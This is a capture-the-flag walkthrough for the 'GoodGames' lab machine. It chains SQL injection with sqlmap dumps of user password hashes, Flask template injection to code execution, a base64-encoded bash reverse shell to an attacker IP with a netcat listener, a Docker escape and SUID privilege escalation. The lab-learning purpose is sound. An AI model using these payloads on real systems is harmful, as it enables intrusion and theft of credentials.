Enumeration
These commands will report what services the server is running and indicate the versions fo the software running.
export ip=10.10.11.130
ping $ip # TTL 63 - linux?
nmap -p- $ip # port 80
nmap -p 80 -sC -sV $ip
# Apache http2.4.51
Web Host
The Web Page identifies itself in the footer as goodgames.htb
. Since the default hosts file on linux is limited with regards to wildcard subdomains, it’s better to use dnsmasq:
sudo apt install dnsmasq
sudo vim /etc/NetworkManager/conf.d/dns.conf
[main]
dns=dnsmasq
sudo systemctl restart NetworkManager
To add this to dnsmasq:
echo "address=/goodgames.htb/10.10.11.130" > /etc/NetworkManager/dnsmasq.d/domains.conf
sudo systemctl restart NetworkManager
From inspecting the website, the web host has a login page with profile management, a lost password form and a register account form. Registering a new account and logging in, and experimenting with correct and incorrect credentials give an idea of how the server handles. One thing to notice is that incorrect logins return a 500 response code. The login form can be found to be weak to SQLi by capturing the request with burpsuite and using the repeater module to test with the payload:
email=admin' or 1 = 1 -- &password=
SQLmap can help proceed by enumerating the sql server through the injection and use the headers and body from the saved burpsuite payload.
sqlmap -r sqli --flush-session
sqlmap -r sqli dbs
# information_schema, main
sqlmap -r sqli -D main --tables --time-sec 1
# user, blog, blog_comments
sqlmap -r sqli -D main -T user --columns --time-sec 1
# name, password, email, id
sqlmap -r sqli -D main -T user --dump --time-sec 1
This returns password hashes which are easily looked up in an online rainbow table.
id | user | hash | pass | |
---|---|---|---|---|
1 | admin@goodgames.htb | admin | 2b22337f218b2d82dfc3b6f77e7cb8ec | superadministrator |
2 | a@a.com | a | 0cc175b9c0f1b6a831c399e269772661 | a |
Using these admin email and password to login as admin and viewing the admin profile page reveals a link to a flask volt dashboard login http://internal-administration.goodgames.htb/login
.
SST
The admin username and password are reused and login to the flask volt dashboard.
The settings page for the profile has a SSTI
vulnerability which can be detected by passing a mathematical expression within a template expression:
Enumerating through potential SSTL payloads against python flask applications and search for the subclass number of the vulnerable popen
class that can be used for RCE:
{{ ().__class__() }} # ()
{{ ().__class__.__base__() }} # <object object at 0x7f737510bf70>
{{ ().__class__.__base__.__subclasses__() }} # dumps subclasses including <class 'subprocess.Popen'>
{{ ().__class__.__base__.__subclasses__()210:] }} # popen still in response
{{ ().__class__.__base__.__subclasses__()310:] }} # popen not in response
{{ ().__class__.__base__.__subclasses__()210:310] }} # popen in response
{{ ().__class__.__base__.__subclasses__()[210:240] }} # popen in response
# Keep trying narrowing down until
{{ ().__class__.__base__.__subclasses__()[217] }} # popen is only entry in response
# Using popen for RCE
{{
().__class__.__base__.__subclasses__()[217]
('id',shell=True,stdout=-1).communicate()[0].strip()
}}
# id=0 root!
Reverse Shell
With trying more complicated payloads for a revere shell hitting response 500 errors is common. By experimenting with echo strings it can be found that URL Encoding the payloads allows them to be passed through bypassing the error, e.g:
{{().__class__.__base__.__subclasses__()[217]('echo "bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F%3CATTACKER%2DIP%3E%2F%3CPORT%3E%200%3E%261"',shell=True,stdout=-1).communicate()[0].strip()}}
# returns bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
Experimenting with inputting the values, doesn’t yield a return shell. Converting to/from base64 may yield better results:
# payload nohup bash -c 'bash -i >& /dev/tcp/10.10.14.11/12345 0>&1'
# base64: bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMS8xMjM0NSAwPiYxJw==
# Payload:
{{().__class__.__base__.__subclasses__()[217]('echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMS8xMjM0NSAwPiYxJw== | base64 -d | bash 2>/dev/null',shell=True,stdout=-1).communicate()[0].strip()}}
# URL Encoded payload:
{{().__class__.__base__.__subclasses__()[217]('echo%20bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4xMS8xMjM0NSAwPiYxJw%3D%3D%20%7C%20base64%20%2Dd%20%7C%20bash%202%3E%2Fdev%2Fnull',shell=True,stdout=-1).communicate()[0].strip()}}
Listener:
nc -lvnp 12345
# or
msfconsole
use multi/handler
set lhost tun0
set lport 12345
run
Yields a reverse shell as root
User Flag
cat /home/augustus/user.txt
Escaping Docker
This is a docker, which can be confirmed by discovering the dockerfile.
The use home direction for augustus looks to be mounted inside the container, which can be checked by running the mount
command.
Port scan the host to discover any hidden services now visible, using basic primitives since the docker has minimal utilities available:
# ip a to discover subnet
for i in {0..1000}; do timeout 1 bash -c "</dev/tcp/172.19.0.1/$i" >/dev/null 2>/dev/null && echo "port $i is open"; done
# 22,80
script /dev/null bash
ssh augustus@172.19.0.1 # superadministrator
Privilege escalation
It’s possible to craft an SUID exploit by using the root privileges in the docker container and the shared mounted folder which the user augustus has access to in /home/augustus.
# from host
cp /bin/bash /home/augustus
exit
# from docker
chown root: /home/augustus/bash
chmod u+s /home/augustus/bash
ssh augustus@172.19.0.1 # superadministrator
# from host
bash -p
cat /root/root.txt